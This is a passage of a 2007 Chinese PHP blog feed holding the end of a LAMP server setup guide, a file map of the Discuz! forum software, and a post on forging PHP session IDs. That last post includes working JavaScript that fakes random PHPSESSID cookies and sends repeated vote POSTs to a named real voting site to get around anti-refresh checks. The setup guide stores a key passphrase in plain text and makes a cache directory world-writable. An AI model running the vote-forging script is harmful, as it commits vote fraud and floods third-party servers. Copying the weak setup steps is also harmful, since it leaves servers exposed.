/usr/local/apache2/conf/server-dsa.key<br><br><br>示例文件<br><br>在SSL的根目录中生成一个index.html,它是如下所示:<br><br>＜html＞<br><br>这是SSL示例!<br><br>＜/html＞<br><br>测试<br><br>假如Web服务器的DNS名称是<a href="http://www.cnprint.org/" target=_blank>www.cnprint.org</a>.<br><br>在浏览器的URL地址栏里输入 <a href="http://www.cnprint.org/%EF%BC%8C%E6%B5%8F%E8%A7%88%E5%99%A8%E4%BE%BF%E4%BC%9A%E6%98%BE%E7%A4%BAAPACHE%E5%AE%89%E8%A3%85%E6%97%B6%E7%A1%AE%E7%9C%81%E7%9A%84Test" target=_blank>http://www.cnprint.org/，浏览器便会显示APACHE安装时确省的Test</a> Page.<br><br>在浏览器的URL地址栏里输入 <a href="https://www.cnprint.org/%EF%BC%8C%E6%B3%A8%E6%84%8F:%E6%98%AF" target=_blank>https://www.cnprint.org/，注意:是</a> https 而不是http !<br><br>浏览器会提示站点已经采用了SSL进行数据的加密传输.由于我们的CA证书不是浏览器缺省的信任的根证书,所以,浏览器会说无法确认服务器的证书可信。暂时不管,一直NEXT,最后,浏览器会显示:这是SSL示例!<br><br>可以把CA的证书放在非SSL的站点上,让浏览器下载并安装CA证书,并将其设置成可信任的根证书,便可解决上面的问题.8 解除HTTPD起动时的口令输入。<br><br>由于安全的原因,Web服务器的私钥是口令加密了的，每次重新起动HTTPD或Linux时,都会要求输入Web服务器的私钥的口令。<br><br>如果要解除HTTPD起动时的口令输入,可以这样:<br><br># cd /usr/local/apache2/conf/ssl.key/<br># cp server.pem server.pem.org<br># openssl rsa -in server.pem.org -out server.pem<br># chmod 400 server.pem<br><br>另外在网上看到一个方法，我没有试。有兴趣的可以试下。<br><br>创建SSL密码自动应答文件，否则每次Apache启动的时候，都会要求你输入SSL的密码.<br>创建 /usr/local/apache2/conf/ssl.key/sendsslpwd ,内容如下.<br>#!/bin/bash<br>SSLpasswd="YOUR PASSPHRASE"<br>echo $SSLpasswd<br>chmod 755 /usr/local/apache2/conf/ssl.key/sendsslpwd<br><br><br>此时，Web服务器的私钥已经没有口令加密,一定要确保server.pem文件除root外,任何用户均无权读取它。<br><br><br>13、安装 Zend Optimizer<br># cd /usr/local/src<br># wget <a href="http://downloads.zend.com/optimizer/3.3.0/ZendOptimizer-3.3.0-linux-glibc21-i386.tar.gz" target=_blank>http://downloads.zend.com/optimi ... glibc21-i386.tar.gz</a><br># tar xzvf ZendOptimizer-3.3.0-linux-glibc21-i386.tar.gz<br># ./ZendOptimizer-3.3.0-linux-glibc21-i386/install.sh<br>按照它的提示一步步进行就行了。<br>总之一句话。如果你的服务器环境不需要ZendOptimizer，那么能不安就不安装这个。避免和eaccelerator冲突。<br><br>14、安装eaccelerator // eaccelerator是php的加速软件，使用后php的执行效率会有较大幅度的提升。目前eaccelerator 0.9.5.2已经和ZendOptimizer-3.3.0能够基本上兼容啦。不过我个人觉得，ZendOptimizer-3.3.0没有加速的功能，反而使php运行变慢，只是起到了运行zend加密文件的作用而已。闲话不多说了，大家有兴趣的，可以去google下。<br><br># cd /usr/local/src<br># wget <a href="http://bart.eaccelerator.net/source/0.9.5.2/eaccelerator-0.9.5.2.tar.bz2" target=_blank>http://bart.eaccelerator.net/sou ... tor-0.9.5.2.tar.bz2</a><br># tar -jxvf eaccelerator-0.9.5.2.tar.bz2<br># cd eaccelerator-0.9.5.2<br><br>export PHP_PREFIX="/usr/local/php"<br>$PHP_PREFIX/bin/phpize //指定一下php的目录<br><br># ./configure --enable-eaccelerator=shared --with-php-config=$PHP_PREFIX/bin/php-config // 设置<br><br># make &amp; make install<br><br><strong><font color=#ff0000>编译安装</font></strong>后我们会看到屏幕提示的eaccelerator.so所在的目录，比如我得到的是/usr/local/php/lib/php/extensions/no-debug-zts-20060613/eaccelerator.so，记住这个路径，待会要用到。<br><br>修改php.ini（安装完zend之后，php.ini存放于/usr/local/Zend/etc）<br>在文件最后，zend之前，注意，这部分内容务必放在zend之前，不然可能会出现不可预期的服务器问题。添加下列信息：<br><br>[eaccelerator]<br>extension="/usr/local/php/lib/php/extensions/no-debug-zts-20060613/eaccelerator.so"<br>eaccelerator.shm_size="32"<br>eaccelerator.cache_dir="/tmp/eaccelerator"<br>eaccelerator.enable="1"<br>eaccelerator.optimizer="1"<br>eaccelerator.check_mtime="1"<br>eaccelerator.debug="0"<br>eaccelerator.filter=""<br>eaccelerator.shm_max="0"<br>eaccelerator.shm_ttl="0"<br>eaccelerator.shm_prune_period="0"<br>eaccelerator.shm_only="0"<br>eaccelerator.compress="1"<br>eaccelerator.compress_level="9"<br><br>解释:<br>zend_extension 是安装完程序自动指示给我们的<br>eaccelerator.shm_size="32" 缓存大小单位MB<br>eaccelerator.cache_dir="/tmp/eaccelerator" 缓存路径<br><br># mkdir /tmp/eaccelerator // 建立目录<br># chmod 0777 /tmp/eaccelerator // 修改目录属性<br><br>最后重新启动apachectl<br><br>重启apache，phpinfo显示：<br>This program makes use of the Zend Scripting Language Engine:<br>Zend Engine v2.2.0, Copyright (c) 1998-2006 Zend Technologies<br>with eAccelerator v0.9.5.2, Copyright (c) 2004-2006 eAccelerator, by eAccelerator<br>with Zend Extension Manager v1.0.11, Copyright (c) 2003-2006, by Zend Technologies<br>with Zend Optimizer v3.3.0, Copyright (c) 1998-2006, by Zend Technologies<br><br>也会有eAccelerator的具体信息。<br><br>15、安装phpmyadmin，管理mysql数据库<br><br># cd /usr/local/apache2/htdocs/<br># wget <a href="http://nchc.dl.sourceforge.net/sourceforge/phpmyadmin/phpMyAdmin-2.11.1-all-languages-utf-8-only.tar.gz" target=_blank>http://nchc.dl.sourceforge.net/s ... s-utf-8-only.tar.gz</a><br><br># tar zxvf phpMyAdmin-2.11.1-all-languages-utf-8-only.tar.gz<br># mv phpMyAdmin-2.11.1-all-languages-utf-8-only phpmyadmin<br><br># cd phpmyadmin/libraries<br><br>修改配置文件<br># vi config.default.php<br><br>找到这几行进行修改：<br>$cfg['Servers'][$i]['auth_type'] = 'http'; // Authentication method (valid choices: config, http, HTTP, signon or cookie)<br>$cfg['Servers'][$i]['user'] = 'root'; // MySQL user<br>$cfg['Servers'][$i]['password'] = 'PASSWORD'; // MySQL password (only needed<br><br>经过这几个步骤，我们一个比较安全的LAMP服务器就环境基本建立成功啦。感觉上也不是很难，是吧？</div>
<img src ="http://www.phpweblog.net/killjin/aggbug/2169.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/killjin/" target="_blank">Prog</a> 2007-11-04 18:37 <a href="http://www.phpweblog.net/killjin/archive/2007/11/04/2169.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[资料库]DZ程序文件目录含义整理表</title><link>http://www.phpweblog.net/killjin/archive/2007/09/29/2042.html</link><dc:creator>Prog</dc:creator><author>Prog</author><pubDate>Fri, 28 Sep 2007 18:35:00 GMT</pubDate><guid>http://www.phpweblog.net/killjin/archive/2007/09/29/2042.html</guid><wfw:comment>http://www.phpweblog.net/killjin/comments/2042.html</wfw:comment><comments>http://www.phpweblog.net/killjin/archive/2007/09/29/2042.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/killjin/comments/commentRss/2042.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/killjin/services/trackbacks/2042.html</trackback:ping><description><![CDATA[<font color=navy>最近看见很多人热衷于功能增强型HACK的修改。这种<span class=t_tag>功能</span>增强型HACK和平时所说的插件不一样，插件是单独的<span class=t_tag>文件</span>，一般在<span class=t_tag>后台</span>导入即可使用。但是功能增强型HACK更多是修改程序源<span class=t_tag>代码</span>来实现自己需要的功能，本人做得最多就是这类。可以说功能增强型HACK是插件的前身，想做<span class=t_tag>插件</span>就一定要做熟功能增强型HACK。<br>功能增强型HACK挺简单，因为代码修改量不多，而且一般以改代码为主；说难，因为一般不好找文件，而且一旦对程序结构不熟悉，马上陷入迷坑。<br><br>这里先简单说下<span class=t_tag>Discuz</span>!的所有文件，目前所代表的含义，方便大家修改时候避免找不到改哪个文件。这是个基本功，一定要熟练~熟悉了文件的话，随便做个功能增强型HACK根本就是不费吹灰之力的事情。</font><br><br><font color=blue>先说根文件：</font><br>admincp.<span class=t_tag>php</span>——后台系统<span class=t_tag>设置</span>程序文件，一般只处理菜单的显示的访问权限，不处理管理控制。<br>attachment——附件文件，仅仅处理<span class=t_tag>附件</span><span class=t_tag>下载</span>的功能。<br>announcement.php——<span class=t_tag>论坛</span>公告的显示，一般很少改<br>blog.php——浏览BLOG文章时候会用的，非常容易理解<br>config.inc.php——配置论坛<span class=t_tag><span class=t_tag>数据</span>库</span>、密码等信息，这个大家最熟悉了<br>digest.php——论坛精华区的信息显示，不用多说了吧？<br>discuz_version.php——论坛版本信息，用来更新用的，没有<span class=t_tag>官方</span>说明绝对不要修改<br>faq.php——论坛帮助系统，不过我看绝对没人用<br>forumdisplay.php——很简单，论坛<span class=t_tag>主题</span>列表的显示<br>index.php——控制<span class=t_tag>首页</span>元素显示<br>logging.php——登陆系统，判断用户名、密码。<br>mail_config.inc.php——配置论坛EMAIL功能<br>member.php——控制<span class=t_tag>会员</span>列表显示，积分策略等等信息显示<br>memcp.php——会员控制面板<br>misc.php——控制评分功能、BLOG、论坛界面显示功能等等<br>plugin.php——论坛插件，这个主要控制论坛插件的菜单的显示，一般极少修改<br>pm.php——论坛短信息程序，控制短信息发表与浏览<br>post.php——与viewthread.php相似，但是更多是管理<span class=t_tag>帖子</span>发表、编辑等等信息，也会有权限的控制<span class=t_tag>提示</span><br>redirect.php——控制显示论坛的最后发表的主题访问<br>register.php——注册文件，同时也会控制<span class=t_tag>注册</span>的信息的合法性<br>rss.php——RSS快速订阅，不用多说了吧？<br>search.php——处理论坛<span class=t_tag>搜索</span>功能中的信息筛选<br>seccode.php——论坛注册，生成验证码的程序<br>stats.php——处理统计中的统计信息<br>topic.php——一般无法直接访问，控制页面显示，显示主题条数<br>topicadmin.php——控制的是管理人员的前台管理操作，如精华、置顶、高亮等等<br>viewpro.php——处理浏览会员信息的内容显示<br>viewthread.php——处理浏览帖子时候的帖子信息显示，例如信息、标题等等，同时也处理访问帖子的权限，如阅读权限是否足够等等。<br><br><font color=blue>接着开始说文件夹里面的文件了，一个个开始：</font><br>有人会问，那个空index.htm是干什么用的，我可以回复，那是防止列目录查看文件用的，避免安全<span class=t_tag>问题</span>。<br><font color=blue>admin===</font> （管理后台的程序文件，全部在这里，仅能通过admincp.php来访问）<br>标记红色的文件最好别动，毕竟主程序被加密，而且也是违背官方授权协议的。&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;<br><span class=t_tag>home</span>.inc.php——后台首页内容<br>settings.inc.php——Discuz!选项下的所有小分类<br><font color=red>passport.inc.php——一堆通行证的东西<br>avatarshow.inc.php——天下秀<br>qihoo.inc.php——奇虎搜索</font><br>forums.inc.php——论坛编辑下面所有子分类<br>members.inc.php——添加用户、编辑用户、合并用户、用户栏目定制 <br>groups.inc.php——分组与级别下所有子分类<br>announcements.inc.php——只有论坛公告发布的管理<br>styles.inc.php——<span class=t_tag>风格</span>管理<br>templates.inc.php——<span class=t_tag>模板</span>在线编辑<br>moderate.inc.php——一堆审核，审核新用户、审核新主题、审核新回复 <br>recyclebin.inc.php——单独的回收站程序<br><font color=red>ecommerce.inc.php——支付宝，不过最好别动</font><br>misc.inc.php——勋章编辑、在线列表定制、联盟论坛、计划任务、Discuz! 代码、词语过滤、Smilies 编辑、附件类型尺寸、积分交易记录，管理得真多，甚至连后台的退出功能也归这个文件管。<br>advertisements.inc.php——<span class=t_tag>广告</span>管理<br>database.inc.php——资料备份、资料恢复、数据库<span class=t_tag>升级</span>、数据表优化 <br>attachments.inc.php——编辑附件，只有一个<br>counter.inc.php——更新论坛统计<br>threads.inc.php——批量主题管理<br>prune.inc.php——批量删帖、清理短消息 <br>plugins.inc.php——插件设置、插件管理 <br>logs.inc.php——运行记录，除了积分交易记录以外的所有记录<br>tools.inc.php——管理更新缓存、JS 调用向导、文件权限检查<br>menu.inc.php——后台左边那个好长的导航菜单就是了<br><br><font color=blue>Api目录的文件是全部被加密过的，无法修改也不能修改，详情见官方授权协议。</font><br><br><font color=blue>archiver==（</font>特别说明下，因为archiver中的目录的文件没有调用commom.inc.php，所以所有变量、函数都不能直接使用，必须要搜索数据库来进行判断）<br>&nbsp; &nbsp; index.php archiver首页<br>&nbsp; &nbsp; include==<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;thread.inc.php archiver主题显示<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;index.inc.php 这个是过滤论坛权限和界面显示用的<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;header.inc.php archiver风格控制<br>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;forum.inc.php archiver论坛显示<br><br><font color=blue>attachments是论坛附件的存放目录<br><br>customavatars是论坛头像的存放目录<br><br>forumdata是论坛记录和缓存文件的存放目录，一般这些文件都是自动生成的，所以不要修改。至于有什么用途也说下吧。</font><br>&nbsp; &nbsp; cache==（很好用的功能，调用的这里的文件变量是非常快的）<br>&nbsp; &nbsp;&nbsp; &nbsp; admingroup_X.php 管理组权限<br>&nbsp; &nbsp;&nbsp; &nbsp; cache_bbcodes.php BBCODE和SMILES<br>&nbsp; &nbsp;&nbsp; &nbsp; cache_blog.php 所有用户组的权限变量和smilies、bbcode，还有<span class=t_tag>发帖</span>数等级的信息<br>&nbsp; &nbsp;&nbsp; &nbsp; cache_censor.php 屏蔽信息<br>&nbsp; &nbsp;&nbsp; &nbsp; cache_crons.php 计划任务<br>&nbsp; &nbsp;&nbsp; &nbsp; cache_forumdisplay.php 论坛信息与公告<br>&nbsp; &nbsp;&nbsp; &nbsp; cache_forums.php 同上<br>&nbsp; &nbsp;&nbsp; &nbsp; cache_index.php 在线列表、联盟论坛、公告<br>&nbsp; &nbsp;&nbsp; &nbsp; cache_ipbanned.php 封IP段记录<br>&nbsp; &nbsp;&nbsp; &nbsp; cache_medals.php 勋章信息<br>&nbsp; &nbsp;&nbsp; &nbsp; cache_post.php smilies、bbcode、icons<br>&nbsp; &nbsp;&nbsp; &nbsp; cache_profilefields.php 暂时不清楚<br>&nbsp; &nbsp;&nbsp; &nbsp; cache_settings.php setting表设置的参数变量<br>&nbsp; &nbsp;&nbsp; &nbsp; cache_viewthread.php 论坛，用户组，smilies、bbcode、icons<br>&nbsp; &nbsp;&nbsp; &nbsp; plugin_XX.php 插件表<br>&nbsp; &nbsp;&nbsp; &nbsp; style_XX.php 风格缓存<br>&nbsp; &nbsp;&nbsp; &nbsp; usergroup_XX.php 用户组缓存<br>&nbsp; &nbsp; templates==（升成的模板PHP，比较少做插件会用到，忽略）<br>根部的一些LOG文件就是后台记录文件了。<br><br><font color=blue>images是<span class=t_tag>图片</span>目录，忽略过~</font><br><br><font color=blue>include是论坛核心程序目录，非常有必要去了解</font>。<br>&nbsp; &nbsp; crons==（这里是计划任务文件，你可以增加自己的计划任务，而且可以调用系统变量）<br>&nbsp; &nbsp; tables==（几个语言文件，很少改，跳过）<br>serverbusy.htm 系统错误信息<br>bbcode.js Discuz!代码JS<span class=t_tag>效果</span>文件<br>common.js 主要是DZ常用的模板函数文件，可以直接用<br>floatadv.js 广告用的<br><font color=red>qihoo.js 奇虎的文件，不改</font><br>threadpay.inc.php 出售帖<br>template.func.php 控制模板缓存生成的文件<br>sendmail.inc.php 发送EMAIL的程序<br>security.inc.php 好像是代理一类的，不管<br>relatethreads.inc.php 应该说是生成相关主题的程序<br>promotion.inc.php 记录当前用户的IP等信息<br>printable.inc.php 打印主题用的程序<br>post.func.php 不错的函数文件，主要是记录信息、更新帖子的函数<br>pmprompt.inc.php 短信息内容处理<br>newthread.inc.php 发新话题的信息处理<br>newreply.inc.php 发回复的信息处理<br>misc.func.php 又是函数文件，控制管理PM，评分PM，评分记录，附件高亮显示，IP转换为地理位置<br>global.func.php 丰富的函数库，都是前台用的，如除去HTML、发PM、发EMAIL等等，<span class=t_tag>建议</span>大家研究下。<br>forum.func.php 处理论坛信息用的函数，如论坛菜单下拉等等<br>editpost.inc.php 编辑帖子的信息处理<br>discuzcode.func.php Discuz!代码转换处理程序<br>db_<span class=t_tag>mysql</span>_error.inc.php 数据库错误汇报<br>db_mysql.class.php 数据库中心操作程序<br>cron.func.php 控制计划任务执行的程序<br>counter.inc.php 记录操作系统与浏览器的统计<br>common.inc.php 最重要的核心程序，读取COOKIES信息，定义全局系统函数变量<br>chinese.class.php 处理乱码和字符集用的<br>category.inc.php 控制帖数，今日发帖数的统计<br>cache.func.php 控制生成缓存文件的程序<br>blog.func.php 在BLOG发帖时信息处理会用到<br>attachment.func.php 识别附件拓展名，控制附件前面显示类别图片的程序， 还有附件大小的记录判断<br>advertisements.inc.php 处理广告显示用的<br><br><font color=blue>ipdata==（IP库文件目录，下面那个wry.dat就是IP库，这个我不会改）<br><br>plugins==（插件存放目录）<br><br>templates==（模板目录，一般做HACK也要改模板，因此说明下）</font><br>&nbsp;&nbsp;default==（默认模板，从这个开始，其它风格以此类推）<br>announcement.htm 公告<br>blog.htm BLOG首页<br>blog_addremove.htm 移除添加BLOG<br>blog_list.htm BLOG列表 <br>blog_topic.htm BLOG中主题显示<br>credits.htm 积分策略<br>css.htm 做风格用的，不过我不懂<br>customtopics.htm 首页那个用户专题<br>digest.htm 精华区主题<br>emailfriend.htm EMAIL<span class=t_tag>推荐</span>主题<br>faq.htm FAQ帮助手册，下面都是，只不过显示部分不一样，省略。<br>footer.htm 论坛底部信息<br>forumdisplay.htm 论坛主题列表<br>forumdisplay_subforum.htm 二级论坛列表<br>getpasswd.htm 取回密码<br>groupexpiry.htm 公众用户组<br>header.htm 头部连接<br>index.htm 首页<br>login.htm 登录页面<br>login_secques.htm 登录时安全提问<br>lostpasswd.htm 取回密码<br>memberlist.htm 会员列表，上面那个<br>memcp_credits.htm 控制面板——积分交易<br>memcp_home.htm 控制面板——首页<br>memcp_misc.htm 控制面板——好友列表、订阅列表、收藏夹<br>memcp_navbar.htm 控制面板——上面那个菜单条<br>memcp_profile.htm 控制面板——编辑个人资料<br>memcp_usergroups.htm 控制面板——公众用户组<br>nopermission.htm 关闭论坛显示的提示页<br>pay.htm 买帖子<br>pay_view.htm 看帖子被谁买了<br>pm.htm 短信息左边菜单条<br>pm_archive.htm 导出短消息<br>pm_archive_html.htm 导出短消息HTML<br>pm_folder.htm 好像就是列表而已<br>pm_ignore.htm 忽略列表<br>pm_search.htm 搜索短消息<br>pm_search_result.htm&nbsp;&nbsp;搜索短消息结果<br>pm_send.htm&nbsp;&nbsp;发送短消息 <br>pm_view.htm 浏览短信息，内容更详细<br>pmprompt.htm 首页新短信提示<br>post_attachments.htm 发帖子的附件模块<br>post_bbinsert.htm 一堆BBCODE<br>post_editpost.htm 编辑帖子<br>post_newreply.htm 回复主题<br>post_newthread.htm 发新话题<br>post_preview.htm 主题回顾<br>post_seccode.htm 验证码<br>post_smilies.htm SMILES<br>post_sminsert.htm 快速发帖栏<br>rate.htm 评分<br>rate_view.htm 评分记录浏览<br>register.htm 注册<br>reportpost.htm 主题报告<br>search.htm 搜索主页<br>search_blog.htm 搜索BLOG列表<br>search_threads.htm 搜索后的帖子列表<br>showmessage.htm 系统返回错误信息那个<br>stats_main.htm 统计首页<br>stats_misc.htm 管理统计、时间、积分等等一堆<br>stats_navbar.htm 统计上面那个菜单条<br>stats_onlinetime.htm 时间统计<br>stats_team.htm 管理团队<br>topic.htm 又是QIHOO的随机广告<br>topicadmin_bump.htm 提升主题<br>topicadmin_delpost.htm 删除主题<br>topicadmin_getip.htm 查看IP<br>topicadmin_merge.htm 合并主题<br>topicadmin_moderate.htm 高亮、置顶、精华一堆~<br>topicadmin_move.htm 移动主题<br>topicadmin_reason.htm 管理理由填写<br>topicadmin_refund.htm 强制退款<br>topicadmin_split.htm 分割主题<br>topicadmin_stick.htm 置顶<br>viewpro.htm 会员详细信息查看<br>viewthread.htm 浏览帖子<br>viewthread_mod.htm 帖子管理记录<br>viewthread_pay.htm 帖子支付页面<br>viewthread_poll.htm 投票框<br>viewthread_printable.htm 打印主题<br>whosonline.htm 详细的在线动作<br>actions.lang.php&nbsp;&nbsp;动作语言包<br>admincp.lang.php 后台语言包<br>archiver.lang.php archiver语言包<br>customfaq.lang.php FAQ手册的语言包<br>emails.lang.php 一堆EMAIL信息<br>messages.lang.php 错误信息语言包<br>misc.lang.php 像最后编辑，由谁管理等等<br>modactions.lang.php 管理代号<br>pms.lang.php PM，都是管理理由<br>templates.lang.php 前台模板的语言包<br>wap.lang.php wap用的语言包 <br><br><font color=blue>wap==（WAP支持程序，一般很少改，忽略）</font><br><br><font color=navy>相信看了上面的表来熟悉文件作用，找相应的文件进行修改，做一个功能增强型HACK不是难事。：）</font> 
转自：http://www.discuz.net/thread-329948-1-1.html<img src ="http://www.phpweblog.net/killjin/aggbug/2042.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/killjin/" target="_blank">Prog</a> 2007-09-29 02:35 <a href="http://www.phpweblog.net/killjin/archive/2007/09/29/2042.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>PHP的sessionid可以伪造,不要用来做防刷新处理了</title><link>http://www.phpweblog.net/killjin/archive/2007/09/16/1965.html</link><dc:creator>Prog</dc:creator><author>Prog</author><pubDate>Sun, 16 Sep 2007 13:24:00 GMT</pubDate><guid>http://www.phpweblog.net/killjin/archive/2007/09/16/1965.html</guid><wfw:comment>http://www.phpweblog.net/killjin/comments/1965.html</wfw:comment><comments>http://www.phpweblog.net/killjin/archive/2007/09/16/1965.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/killjin/comments/commentRss/1965.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/killjin/services/trackbacks/1965.html</trackback:ping><description><![CDATA[<div class=postbody>如果是基于session或者cookie做防止刷新，那么，我可以伪造状态，用xmlhttp把服务器刷爆 代码如下，服务器端的代码在最后一个textarea里。 <textarea id=info name=code rows=40 cols=90>&lt;!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt; xmlhttp&lt;/title&gt;
&lt;meta http-equiv="Content-Type" content="text/html; charset=utf-8" /&gt;
&lt;script language="javascript" type="text/javascript" src="fckXML.js"&gt;&lt;/script&gt;
&lt;script language="javascript" type="text/javascript"&gt;
&lt;!--
function SetCookie(sName, sValue)
{
date = new Date();
document.cookie = sName + "=" + escape(sValue) + "; expires=" + date.toGMTString();
}
if ( window.XMLHttpRequest )		// Gecko
oXmlHttp = new XMLHttpRequest() ;
else if ( window.ActiveXObject )	// IE
oXmlHttp = new ActiveXObject("MsXml2.XmlHttp") ;
/*
看了并分析了服务器端的结果，依靠xmlhttp来伪造ip是不可能的了。
setRequestHeader
单独指定请求的某个http头
你的客户机ip不在其中，如果服务器端是基于ip防止刷新的，你就别费心了呗，除非是用c写socket自定义ip包。而且能确保头不被网关修改。
如果服务器是asp的基于session认证的，呵呵，那怎么办哪。用c写socket程序？怎么伪造我不知道了。
如果服务器是php的基于session或者cookie防止刷新，呵呵，那我就ok了。
下一步计划，搞清楚asp的session机制。反正不是依靠cookie的。我没办法了，除非寻找c语言的解决方案。
*/
urlToCall = "http://toupiao.scol.com.cn/toupiao_save.asp";
urlToCall = "http://develop-3/test/jstest/xmlhttp/server.php";
urlToCall = "http://test.bai.com/jstest/xmlhttp/server.php";
host = "test.bai.com";
var bAsync = 1 ;
result = '';
i = 1;
n = 2;
function zuobiStart()
{
//打开url
oXmlHttp.open( "POST", urlToCall, bAsync ) ;
//伪造ssessionid 欺骗服务器，服务器的本次会话session就重新置换了,所有的session就失去意义了。
phpsessid = Math.random();
id2 = Math.random();
phpsess = phpsessid.toString()+'11111'+id2.toString();
phpsess = phpsess.replace( /\./g,"0"  );
phpsess = phpsess.substr( 0,32 );
cook ="PHPSESSID="+phpsess+"; ";
//设置PHPSESSID,由于php的session依靠cookie来实现，所以这样就实现了本次会话session的刷新
document.cookie=cook;
//以下是可以修改的头
oXmlHttp.setRequestHeader (  "ADDR000", 'test'  );
oXmlHttp.setRequestHeader (  "User-Agent", "Mozilla/4.0 " );
oXmlHttp.setRequestHeader(  "accept-language", "zh_cn");
oXmlHttp.setRequestHeader(  "CONTENT-TYPE","application/x-www-form-urlencoded");
oXmlHttp.setRequestHeader( "accept-encoding", "gzip, deflate");
oXmlHttp.setRequestHeader( "CONNECTION", "keep-alive");
oXmlHttp.setRequestHeader( "accept", "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
//以下是不可以修改的头,改了服务器也不认
oXmlHttp.setRequestHeader( "Referer", 'example.test.com');
oXmlHttp.setRequestHeader ("Cookie", cook);
oXmlHttp.setRequestHeader ("HOST", host );
oXmlHttp.setRequestHeader( "content-length", "11");
oXmlHttp.setRequestHeader( "CACHE_CONTROL", "kcache");
params = 'item_button=45&amp;topic=5';
//发送测试结果
oXmlHttp.send(params) ;
//测试返回结果
oXmlHttp.onreadystatechange = function()
{
if ( oXmlHttp.readyState == 4 )
{
result += oXmlHttp.responseText;
}
}
//
i++;
//跳出循环
if (i&gt;n){
//alert("end\n"+i.toString()+"\n"+n.toString());
infoObj = document.getElementById('info');
infoObj.value = result;
//info.value = result+"慰问慰问";
clearInterval(flushtimerID);
}
}//end func
//结束
flushtimerID = window.setInterval(zuobiStart,100);
//--&gt;
&lt;/script&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;textarea name="info"  id="info" rows="10" cols="90" &gt;
</textarea><br>
<form action=http://toupiao.scol.com.cn/toupiao_save.asp method=post>
    <input type=hidden value=5 name=topic> 31号 杨杰晰 <input type=checkbox CHECKED value=45 name=item_button> <input type=submit value=投票 name=bottom_type> <input onclick="window.location.href='mj-tp_result.asp';" type=reset value=结果 name=bottom_type><br><textarea id=info name=servercode rows=10 cols=90> &lt;?php
    require_once('echo.php');
    session_start();
    //pr($_COOKIE);pr($_GET);pr($_POST);
    //pr($_SESSION);pr($_COOKIE);
    if ( $_SESSION['posted'] == 1 ) {
    echo"error";
    DIE;
    }
    //get cookie number
    $num = $_COOKIE['currNum'];
    $expires = time()+60*60*24*365;
    if (!isset($_COOKIE['currNum'])) {
    setcookie('currNum' , 1 , $expires );
    echo "cookie没有设置\n";
    }
    else {
    $num++;
    setcookie('currNum',$num);
    echo $num;
    }
    ?&gt;
    &lt;style type="text/css"&gt;
    *{font:12px verdana;}
    &lt;/style&gt;
    &lt;pre&gt;
    &lt;?php
    foreach ($_POST as $key=&gt;$v) {
    $$key = $v;
    $str .=$v."\r\n";
    //echo "$v \n";
    }
    //print_R($_SERVER);
    foreach ($_SERVER as $k=&gt;$v) {
    $str .=$k."=".$v."\n";
    }
    echo $str;
    $fp = fopen("d:/tmp/".$num.".txt","wb");
    //fwrite($fp,$str);
    fclose($fp);
    $_SESSION['posted'] = 1;
    ?&gt;
    </textarea> </textarea></div>
    <p class=postfoot>posted on 2005-11-02 20:58 <a href="http://gudai.cnblogs.com/"><font color=#223355>古代</font></a> 阅读(429) <a href="http://www.cnblogs.com/gudai/archive/2005/11/02/267466.html#Post"><font color=#223355>评论(0)</font></a> &nbsp;<a href="http://www.cnblogs.com/gudai/admin/EditPosts.aspx?postid=267466"><font color=#223355>编辑</font></a> &nbsp;<a href="http://www.cnblogs.com/gudai/AddToFavorite.aspx?id=267466"><font color=#223355>收藏</font></a> 所属分类: <a href="http://www.cnblogs.com/gudai/category/37621.html"><font color=#223355>php</font></a> 、<a href="http://www.cnblogs.com/gudai/category/39214.html"><font color=#223355>js,css,html</font></a> </p>
</form>
<img src ="http://www.phpweblog.net/killjin/aggbug/1965.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/killjin/" target="_blank">Prog</a> 2007-09-16 21:24 <a href="http://www.phpweblog.net/killjin/archive/2007/09/16/1965.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>